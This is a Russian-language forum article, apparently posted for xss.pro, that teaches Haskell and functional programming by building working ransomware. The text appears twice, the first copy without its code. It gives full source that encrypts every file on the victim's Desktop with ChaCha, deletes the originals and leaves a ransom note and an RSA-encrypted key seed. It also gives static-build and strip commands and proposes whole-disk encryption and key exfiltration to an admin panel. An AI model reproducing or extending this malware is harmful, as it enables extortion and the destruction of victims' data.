Пишем свой ransomware в функциональном стиле
Предисловие
- Какого хрена оно не компилируется?
Синий фон и желто-белая смесь символов окончательно перестала что-то значить.
Я смотрел на код. Я знал код. Я лично написал этот код шесть месяцев назад, и сейчас сидел и абсолютно не вдуплял, почему он не работает и как сделать так, чтобы работало.
Цикл внутри цикла, внутри цикла. Бесконечное дерево уходящих куда-то вправо if'ов. Почему так? Почему нельзя просто сообщить компьютеру что у тебя есть и что ты хочешь получить в итоге?
Позже я узнал, что все-таки можно, и это называется Функциональным Программированием.
Часть 1. Условия задачи
Цель этой статьи - показать, как написать свой ransomware на Haskell.
К концу статьи мы с тобой получим рабочий софт, который выступит скелетом, и я таким образом убью сразу двух зайцев:
Ну и что в нем такого прекрасного, спросишь ты?
А вот что:
Вот например список натуральных чисел:
А вот список квадратов всех нечетных чисел:
Ну ты понял. Можно даже сгенерить список всех приватных ключей биткоина в пару строк
Сейчас я кайфую, потому что система типов в Хаскелле реально твой лучший друг и соратник.
Чтобы ты понимал - я ни разу не словил ошибку в рантайме за все время программирования на Хаскелле. Ни разу, Карл!
Не зря про Haskell говорят: "if it compiles, it works"
Покажу на примере.
Факториал на питоне выглядит так:
А вот факториал на Haskell:
Слишком просто и не очень наглядно?
Окей, вот тебе список всех чисел Фибоначчи (да, бесконечный список), определенный через корекурсию.
Что, мозгу стало как-то не по себе, да?
Значит нам пора разобраться в основах функционального программирования.
Часть 2. Понимаем ФП
Проблема ФП в том, что на просторах сети есть куча статей, но никто толком не может объяснить, а что такое это ваше ФП.
Вот с ООП все понятно - все объект, у объектов есть методы и далее по учебнику. А в ФП в чем прикол? Функции? Так они везде есть, ничего особенного...
Я для себя характеризую ФП всего двумя основными особенностями:
Перейдем к самому мясу.
Часть 3. Пишем Ransomware
Одна из особенностей ФП состоит в том, что ты не долбишь бездумно по клаве как бравый monkey coder, а сначала какое-то время думаешь, и только потом записываешь изящное решение.
Что мы хотим? Ну, зашифровать данные, логично. Для наглядности будем шифровать файлы на рабочем столе пользователя.
Наш план:

И еще неплохо бы ключ, которым мы шифруем файлы где-то сохранить. А то неудобная ситуация выйдет
Да, и ключ само собой надо тоже зашифровать, только уже асимметричным алгоритмом (например, RSA)
План 2:
Красиво, правда? Я спецом использовал разные техники написания кода, чтобы показать интересные фишки языка.
Видишь пачку импортов? Первые четыре - это работа с потоковыми данными, и собственно шифры ChaCha и RSA. Все остальные - часть стандартной библиотеки.
В секции Const находятся текст инструкции и наш открытый ключ. Я вынес их отдельно для наглядности.
Не надо воспринимать эти значения как константы. Думай, что это функции, которые принимают ноль аргументов и возвращают всегда одно и то же. Это важно для понимания того, как легким движением руки менять сигнатуры и чистить рантайм.
Дальше идет секция Pure (чистые функции). Что это за зверь такой?
Haskell - функциональный ЯП, а значит в нем не должно быть побочных эффектов. Если говорить простым языком - значение функции зависит только от ее аргументов. Тут у нас две практически одинаковых функции, которые получают на вход состояние ГСЧ и возвращают nonce (12 байт) и ключ (32 байта). Эти два значения нам нужны для шифрования алгоритмом ChaCha.
Посмотрим на первую функцию:
Тут у нас сразу несколько прикольных штук:
Бесточечный стиль записи. Я не использую имя переменной (состояние ГСЧ), потому что от этого имени мне ни горячо, ни холодно. Вместо этого, я просто определяю функцию как суперпозицию нескольких функций, которые приведут к желаемому результату. Для наглядности, это то же самое что написать вот так:
randomRs - генерирует бесконечный поток случайных чисел в диапазоне от 0 до 31
drop 12 - отбрасывает первые 12 чисел из списка
take 32 - возвращает первые 32 числа из списка (после отбрасывания)
B.pack - пакует полученный список в ByteString
Я вижу вопрос в твоих глазах - что за отбрасывание 12 и взятие 32? И тут мы возвращаемся к особенностям ФП. Дело в том, что randomRs возвращает не совсем случайные числа. Ну точнее, они случайные, но однозначно определены состоянием ГСЧ. То есть, если мы еще раз подадим на вход то же самое состояние ГСЧ, то получим тот же самый список случайных чисел
В функции createNonce мы уже взяли первые 12 из этого списка, поэтому вместо реинициализации ГСЧ, мы просто возьмем следующие 32.
Еще одна особенность - частичное применение функций.
Например функция take принимает два аргумента, но мы встраиваем ее в цепочку композиций только с одним. Почему? Ответ все тот же - ленивые вычисления. Мы как бы говорим: *"Слушай, мне тут надо получить несколько первых чисел из списка. Количество чисел - 12, а вот список я тебе как-нибудь потом дам"*.
Дальше у нас идет блок Unpure с одной единственной функцией - cryptFile. По типу функции (спасибо, система типов) и названию я думаю очевидно, что она делает.
Почему же она "грязная"?
Тут тоже все достаточно просто - мы читаем данные с диска. В зависимости от этих данных мы получим разный результат. Не путать с результатом функции - он всегда одинаковый для одинаковых аргументов.
Из интересностей:
Дальше у нас идет функция main. Да, она делает ровно то, что ты подумал - это основное тело нашей программы, как и в любом другом ЯП.
В первой строке уже знакомая нам do-нотация.
Вот второй строке мы получаем значение системного ГСЧ и я уже вижу вопрос в твоих глазах - что за стрелочка, мазафака?
И тут я думаю стоит сделать небольшое отступление и рассказать, что такое функторы, аппликативные функторы и монады.
Погоди-погоди, не закрывай вкладку!
Я сам сперва охренел от всех этих терминов, но потом познал дзен и сейчас объясню тебе на пальцах так, что поймет даже первоклассник.
Отступление. Понимаем монады
Смотри, это значение:
А это функция, она берет значение и возвращает другое значение:
А это контекст. Проще всего представить его как коробочку, в которой лежит значение:
Простая функция не умеет работать с коробочкой. Поэтому, что нам нужно сделать? Правильно, распаковать ее и достать значение!
Этим и занимается наша "стрелочка" - распаковывает значение из коробочки.
Окей, а что делать, если коробочка нам тоже важна? Мы хотим достать значение из коробочки, применить к нему функцию и сложить обратно в коробочку, вот так:
Поздравляю, ты только что узнал, для чего нужен функтор
Он применяет функцию к значению в коробочке.
Окей, а что если наша функция тоже лежит в коробочке? Нам надо достать функцию, достать значение, применить одно к другому и сложить результат обратно в коробочку.
Такой фокус умеют делать аппликативные функторы.
А что же такое монады? Тут тоже все просто.
Допустим, у нас есть функция, которая принимает обычное значение, а возвращает значение в коробочке. Но обычного значения у нас нет. Есть значение в коробочке, которое надо в эту функцию как-то пропихнуть. Этим и занимаются монады:
Почему это удобно? Потому что монады можно объединять в цепочку, и использовать функции для обычных значений, не заморачиваясь с контекстом:
Ну и на сладкое, чем это может быть полезно конкретно нам, с нашим ransomware? А вот чем:
Вжух, и мы обернули нашу строку в контекст, написали для нее экстрактор и почистили сигнатуры. А можем и не извлекать текст, а работать с помощью fmap прямо в конкексте. А можем часть данных извлечь, а часть нет. А можем еще и функции в контекст запаковать. Короче, я думаю тут все понятно - в Хаскелле существует миллион способов запутать алгоритм так, что сам черт ногу сломит.
Вернемся к нашему рансому.
Конец отступления
Окей, разберемся что такое encState. Как мы с тобой уже знаем, функции всегда возвращают одно и то же, если передавать им одни и те же аргументы. А это значит, что мы можем провернуть вот такой фокус:
Вместо ключа от ChaCha, зашифровать состояние нашего ГСЧ на момент старта программы, а потом в админке засшифровать его, применить функцию createKey и узнать ключ.
Круто, не правда ли? И вот что нам это дает:
$ - это всего лишь удобное обозначение того, что весь остаток строки окружен скобками. То есть у нас тут не что иное как вложенные выражения.
Окей, что там дальше? Получаем абсолютный путь к папке Desktop:
Тут я просто записал выражение в аппликативном стиле. <$> - это всего лишь инфиксная запись fmap. Получаем домашнюю директорию пользователя (в коробочке, потому что это грязная функция, ведь на разных машинах эта директория разная), затем добавляем к пути "\Desktop" и распаковываем результат.
Дальше идет блок let, тут ничего интересного - просто связываем значения функций с именами (как будто переменные).
Затем потоково и рекурсивно получаем список всех имен файлов в нашей папке:
А потом все эти файлы шифруем:
Функция mapM_ - это монада, которая работает как map для обычных списков, но не возвращает ничего (просто применяет функцию ко всем элементам).
Ну и наконец последние две строки - создаем файлы с инструкцией и зашифрованным состоянием:
Ну вот и все, осталось только скомпилировать наш код:
И убрать отладочную информацию:
Заключение
А в заключении я бы хотел разобрать две важные вещи.
Первая - это недостатки. Недостатки есть у всех, и наш друг Haskell в этом не исключение.
Как я уже сказал в начале статьи, сегодня мы написали скелет нашего ransomware. Он уже функционирует, но также есть и что улучшить, а именно:
Спасибо, что дочитал до конца.
Надеюсь, у меня получилось тебя заинтересовать и ты полюбишь ФП и Haskell точно так же, как люблю его я.
До новых встреч!
x3Rx специально для xss.pro
Предисловие
- Какого хрена оно не компилируется?
Синий фон и желто-белая смесь символов окончательно перестала что-то значить.
Я смотрел на код. Я знал код. Я лично написал этот код шесть месяцев назад, и сейчас сидел и абсолютно не вдуплял, почему он не работает и как сделать так, чтобы работало.
Цикл внутри цикла, внутри цикла. Бесконечное дерево уходящих куда-то вправо if'ов. Почему так? Почему нельзя просто сообщить компьютеру что у тебя есть и что ты хочешь получить в итоге?
Позже я узнал, что все-таки можно, и это называется Функциональным Программированием.
Часть 1. Условия задачи
Цель этой статьи - показать, как написать свой ransomware на Haskell.
К концу статьи мы с тобой получим рабочий софт, который выступит скелетом, и я таким образом убью сразу двух зайцев:
- Напишу основу своего ransomware
- Постараюсь заинтересовать тебя, читатель, чтобы ты как минимум глянул статью в вики про Haskell, а как максимум - начал писать на этом прекрасном языке.
Ну и что в нем такого прекрасного, спросишь ты?
А вот что:
- Ленивость aka поддержка отложенных вычислений
Вот например список натуральных чисел:
Код:
ns = [1..]
А вот список квадратов всех нечетных чисел:
Код:
sqrs = [ x^2 | x <- [1..], odd x ]
Ну ты понял. Можно даже сгенерить список всех приватных ключей биткоина в пару строк
- Система типов
Сейчас я кайфую, потому что система типов в Хаскелле реально твой лучший друг и соратник.
Чтобы ты понимал - я ни разу не словил ошибку в рантайме за все время программирования на Хаскелле. Ни разу, Карл!
Не зря про Haskell говорят: "if it compiles, it works"
- Функциональное программирование
Покажу на примере.
Факториал на питоне выглядит так:
Код:
def fact(n):
result = 1
if n > 0:
for i in range(n):
result = result * (i+1)
return result
А вот факториал на Haskell:
Код:
fact1 n = foldl (*) 1 [1..n]
-- или так
fact2 n = product [1..n]
Слишком просто и не очень наглядно?
Окей, вот тебе список всех чисел Фибоначчи (да, бесконечный список), определенный через корекурсию.
Код:
fibs = 0 : 1 : zipWith (+) fibs (tail fibs)
Что, мозгу стало как-то не по себе, да?
Значит нам пора разобраться в основах функционального программирования.
Часть 2. Понимаем ФП
Проблема ФП в том, что на просторах сети есть куча статей, но никто толком не может объяснить, а что такое это ваше ФП.
Вот с ООП все понятно - все объект, у объектов есть методы и далее по учебнику. А в ФП в чем прикол? Функции? Так они везде есть, ничего особенного...
Я для себя характеризую ФП всего двумя основными особенностями:
- Иммутабельность данных, то есть полное отсутствие переменных, циклов, функций append и всего такого. Если х = 1, то он останется таким до конца программы.
- Декларативность. Вместо того, чтобы говорить машине КАК делать, мы говорим ЧТО делать. Это хорошо видно на примере с факториалом выше. Я не говорю, как его вычислить (проверить неравенство нулю, пройтись циклом итд), я говорю - перемножь.
Перейдем к самому мясу.
Часть 3. Пишем Ransomware
Одна из особенностей ФП состоит в том, что ты не долбишь бездумно по клаве как бравый monkey coder, а сначала какое-то время думаешь, и только потом записываешь изящное решение.
Что мы хотим? Ну, зашифровать данные, логично. Для наглядности будем шифровать файлы на рабочем столе пользователя.
Наш план:
- Получить список файлов на рабочем столе
- Зашифровать их
- Оставить сообщение о выкупе
И еще неплохо бы ключ, которым мы шифруем файлы где-то сохранить. А то неудобная ситуация выйдет
Да, и ключ само собой надо тоже зашифровать, только уже асимметричным алгоритмом (например, RSA)
План 2:
- Получить список файлов на рабочем столе
- Зашифровать их используя алгоритм ChaCha
- Зашифровать ключ алгоритмом RSA
- Оставить на рабочем столе файл README.txt (с инструкциями) и YOUR-KEY.txt (с ключом)
Код:
{-# LANGUAGE OverloadedStrings #-}
import Conduit
import Crypto.Cipher.ChaChaPoly1305.Conduit
import qualified Crypto.PubKey.RSA.PKCS15 as RSA
import Crypto.PubKey.RSA.Types
import System.Random
import System.Directory
import Data.Either
import qualified Data.ByteString as B
import qualified Data.ByteString.UTF8 as BU
-- Consts
basicText :: B.ByteString
basicText = "All your files are encrypted..."
pubKey :: PublicKey
pubKey =
PublicKey { public_size = 256
, public_n = 2... -- Очень большое число
, public_e = 3
}
-- Pure
createKey :: StdGen -> B.ByteString
createKey = B.pack . take 32 . drop 12 . randomRs (0, 31)
createNonce :: StdGen -> B.ByteString
createNonce = B.pack . take 12 . randomRs (0, 31)
-- Unpure
cryptFile :: B.ByteString -> B.ByteString -> FilePath -> IO ()
cryptFile nonce key fp = do
runConduitRes $ sourceFile fp
.| encrypt nonce key
.| sinkFile (fp ++ ".crypted")
removeFile fp
main = do
state <- getStdGen
encState <- fmap (fromRight "")
$ RSA.encrypt pubKey
$ BU.fromString
$ show state
homeDir <- (++ "\\Desktop") <$> getHomeDirectory
let nonce = createNonce state
key = createKey state
dirList <- runConduitRes
$ sourceDirectoryDeep True homeDir
.| sinkList
mapM_ (cryptFile nonce key) $ dirList
withCurrentDirectory homeDir $ B.writeFile "README.txt" basicText
withCurrentDirectory homeDir $ B.writeFile "YOUR_KEY.txt" encState
Красиво, правда? Я спецом использовал разные техники написания кода, чтобы показать интересные фишки языка.
Видишь пачку импортов? Первые четыре - это работа с потоковыми данными, и собственно шифры ChaCha и RSA. Все остальные - часть стандартной библиотеки.
В секции Const находятся текст инструкции и наш открытый ключ. Я вынес их отдельно для наглядности.
Не надо воспринимать эти значения как константы. Думай, что это функции, которые принимают ноль аргументов и возвращают всегда одно и то же. Это важно для понимания того, как легким движением руки менять сигнатуры и чистить рантайм.
Дальше идет секция Pure (чистые функции). Что это за зверь такой?
Haskell - функциональный ЯП, а значит в нем не должно быть побочных эффектов. Если говорить простым языком - значение функции зависит только от ее аргументов. Тут у нас две практически одинаковых функции, которые получают на вход состояние ГСЧ и возвращают nonce (12 байт) и ключ (32 байта). Эти два значения нам нужны для шифрования алгоритмом ChaCha.
Посмотрим на первую функцию:
Код:
createKey = B.pack . take 32 . drop 12 . randomRs (0, 31)
Тут у нас сразу несколько прикольных штук:
Бесточечный стиль записи. Я не использую имя переменной (состояние ГСЧ), потому что от этого имени мне ни горячо, ни холодно. Вместо этого, я просто определяю функцию как суперпозицию нескольких функций, которые приведут к желаемому результату. Для наглядности, это то же самое что написать вот так:
Код:
createKey x = B.pack (take 32 (drop 12 (randomRs (0, 31) x)))
randomRs - генерирует бесконечный поток случайных чисел в диапазоне от 0 до 31
drop 12 - отбрасывает первые 12 чисел из списка
take 32 - возвращает первые 32 числа из списка (после отбрасывания)
B.pack - пакует полученный список в ByteString
Я вижу вопрос в твоих глазах - что за отбрасывание 12 и взятие 32? И тут мы возвращаемся к особенностям ФП. Дело в том, что randomRs возвращает не совсем случайные числа. Ну точнее, они случайные, но однозначно определены состоянием ГСЧ. То есть, если мы еще раз подадим на вход то же самое состояние ГСЧ, то получим тот же самый список случайных чисел
В функции createNonce мы уже взяли первые 12 из этого списка, поэтому вместо реинициализации ГСЧ, мы просто возьмем следующие 32.
Еще одна особенность - частичное применение функций.
Например функция take принимает два аргумента, но мы встраиваем ее в цепочку композиций только с одним. Почему? Ответ все тот же - ленивые вычисления. Мы как бы говорим: *"Слушай, мне тут надо получить несколько первых чисел из списка. Количество чисел - 12, а вот список я тебе как-нибудь потом дам"*.
Дальше у нас идет блок Unpure с одной единственной функцией - cryptFile. По типу функции (спасибо, система типов) и названию я думаю очевидно, что она делает.
Код:
cryptFile nonce key fp = do
runConduitRes $ sourceFile fp
.| encrypt nonce key
.| sinkFile (fp ++ ".crypted")
removeFile fp
Почему же она "грязная"?
Тут тоже все достаточно просто - мы читаем данные с диска. В зависимости от этих данных мы получим разный результат. Не путать с результатом функции - он всегда одинаковый для одинаковых аргументов.
Из интересностей:
- do нотация, которая является синтаксическим сахаром для цепочки монад (звучит угрожающе, да?).
- Потоковая работа с данными, которая чем-то похожа на пайпы в баше (cat fileName | encrypt | writeToFile)
Дальше у нас идет функция main. Да, она делает ровно то, что ты подумал - это основное тело нашей программы, как и в любом другом ЯП.
Код:
main = do
state <- getStdGen
encState <- fmap (fromRight "")
$ RSA.encrypt pubKey
$ BU.fromString
$ show state
homeDir <- (++ "\\Desktop") <$> getHomeDirectory
let nonce = createNonce state
key = createKey state
dirList <- runConduitRes
$ sourceDirectoryDeep True homeDir
.| sinkList
mapM_ (cryptFile nonce key) $ dirList
withCurrentDirectory homeDir $ B.writeFile "README.txt" basicText
withCurrentDirectory homeDir $ B.writeFile "YOUR_KEY.txt" encState
Вот второй строке мы получаем значение системного ГСЧ и я уже вижу вопрос в твоих глазах - что за стрелочка, мазафака?
И тут я думаю стоит сделать небольшое отступление и рассказать, что такое функторы, аппликативные функторы и монады.
Погоди-погоди, не закрывай вкладку!
Я сам сперва охренел от всех этих терминов, но потом познал дзен и сейчас объясню тебе на пальцах так, что поймет даже первоклассник.
Отступление. Понимаем монады
Смотри, это значение:
А это функция, она берет значение и возвращает другое значение:
А это контекст. Проще всего представить его как коробочку, в которой лежит значение:
Простая функция не умеет работать с коробочкой. Поэтому, что нам нужно сделать? Правильно, распаковать ее и достать значение!
Этим и занимается наша "стрелочка" - распаковывает значение из коробочки.
Окей, а что делать, если коробочка нам тоже важна? Мы хотим достать значение из коробочки, применить к нему функцию и сложить обратно в коробочку, вот так:
Поздравляю, ты только что узнал, для чего нужен функтор
Окей, а что если наша функция тоже лежит в коробочке? Нам надо достать функцию, достать значение, применить одно к другому и сложить результат обратно в коробочку.
Такой фокус умеют делать аппликативные функторы.
А что же такое монады? Тут тоже все просто.
Допустим, у нас есть функция, которая принимает обычное значение, а возвращает значение в коробочке. Но обычного значения у нас нет. Есть значение в коробочке, которое надо в эту функцию как-то пропихнуть. Этим и занимаются монады:
Почему это удобно? Потому что монады можно объединять в цепочку, и использовать функции для обычных значений, не заморачиваясь с контекстом:
Ну и на сладкое, чем это может быть полезно конкретно нам, с нашим ransomware? А вот чем:
Код:
basicText :: String
basicText = "Some text"
notSoBasicText :: Int -> Maybe String
notSoBasicText n
| even n = Just "Some text"
| otherwise = Nothing
textExtractor :: (Int -> Maybe String) -> Int -> String
textExtractor myText n = fromJust $ myText n
Вернемся к нашему рансому.
Конец отступления
Окей, разберемся что такое encState. Как мы с тобой уже знаем, функции всегда возвращают одно и то же, если передавать им одни и те же аргументы. А это значит, что мы можем провернуть вот такой фокус:
Вместо ключа от ChaCha, зашифровать состояние нашего ГСЧ на момент старта программы, а потом в админке засшифровать его, применить функцию createKey и узнать ключ.
Круто, не правда ли? И вот что нам это дает:
- Даже если каким-то чудом наша жертва сломает RSA, все что она получит - набор чисел, который без нашего алгоритма генерации ключа не несет никакого смысла.
- По значению nonce мы можем присваивать жертве уникальный id
- Мы можем добавить функцию, которая будет получать от нас исходное состояние, генерировать бесконечное число доменов и отстукивать на них в поисках админки.
Код:
encState <- fmap (fromRight "")
$ RSA.encrypt pubKey
$ BU.fromString
$ show state
- show state - переводит состояние из, эмм, состояния в строку
- BU.fromString - упаковывает строку в ByteString
- RSA.encrypt - собственно, RSA. Принимает два аргумента - ключ и данные. Возвращает монадическое значение типа m (Either Error ByteString). Или проще говоря - значение в маленькой коробочке, которая лежит в большой коробке
- fmap (fromRight "") - залезает большую коробку, распаковывает внутри нее маленькую и возвращает нам значение в большой коробке
- и наконец с помощью стрелочки мы получаем значение из большой коробки
Окей, что там дальше? Получаем абсолютный путь к папке Desktop:
Код:
homeDir <- (++ "\\Desktop") <$> getHomeDirectory
Дальше идет блок let, тут ничего интересного - просто связываем значения функций с именами (как будто переменные).
Затем потоково и рекурсивно получаем список всех имен файлов в нашей папке:
Код:
dirList <- runConduitRes
$ sourceDirectoryDeep True homeDir
.| sinkList
А потом все эти файлы шифруем:
Код:
mapM_ (cryptFile nonce key) $ dirList
Функция mapM_ - это монада, которая работает как map для обычных списков, но не возвращает ничего (просто применяет функцию ко всем элементам).
Ну и наконец последние две строки - создаем файлы с инструкцией и зашифрованным состоянием:
Код:
withCurrentDirectory homeDir $ B.writeFile "README.txt" basicText
withCurrentDirectory homeDir $ B.writeFile "YOUR_KEY.txt" encState
Ну вот и все, осталось только скомпилировать наш код:
Код:
ghc -O2 --make -static -optc-static -optl-static locker.hs -fvia-C -optl-pthread -optl-mwindows
И убрать отладочную информацию:
Код:
strip -s locker.exe
Заключение
А в заключении я бы хотел разобрать две важные вещи.
Первая - это недостатки. Недостатки есть у всех, и наш друг Haskell в этом не исключение.
- Высокий порог вхождения. Да, это правда. Первое время ты будешь очень долго материться, потому что твои программы не будут собираться из-за несоответствия типов. Но буквально через пару месяцев практики ты научишься писать рабочий код. Потому что главное правило Хаскелля - "if it compiles, it works"
- Ленивость. Я бы не сказал, что это недостаток, скорее особенность, которую надо учитывать. Если ты пишешь в лоб - есть шанс провалиться в "ленивую яму" (это когда все твои отложенные вычисления вдруг резко начинают вычисляться и компьютер офигевает от происходящего). Два практически идентичных алгоритма могут давать разный результат по скорости выполнения. Умение с этим работать так же приходит с опытом.
- Большой вес бинарника. После стрипа exe'шник весит 18.7мб, а если сжать его 7z с максимальной компрессией - 2.5мб, что все еще достаточно много. Если для тебя размер файла критичен, то Haskell не подойдет.
Как я уже сказал в начале статьи, сегодня мы написали скелет нашего ransomware. Он уже функционирует, но также есть и что улучшить, а именно:
- Реализовать шифрование всего диска (путь к диску + обработка исключений при отсутствии прав доступа)
- Оптимизировать алгоритм шифрования (шифровать только части файла)
- Сделать онлайн версию (добавить отправку ключа в админку)
- Уменьшить количество импортируемых библиотек, чтобы уменьшить вес билда и упростить чистку
- Сделать функции доступными для вызова из C и скомпилировать в dll
Спасибо, что дочитал до конца.
Надеюсь, у меня получилось тебя заинтересовать и ты полюбишь ФП и Haskell точно так же, как люблю его я.
До новых встреч!
x3Rx специально для xss.pro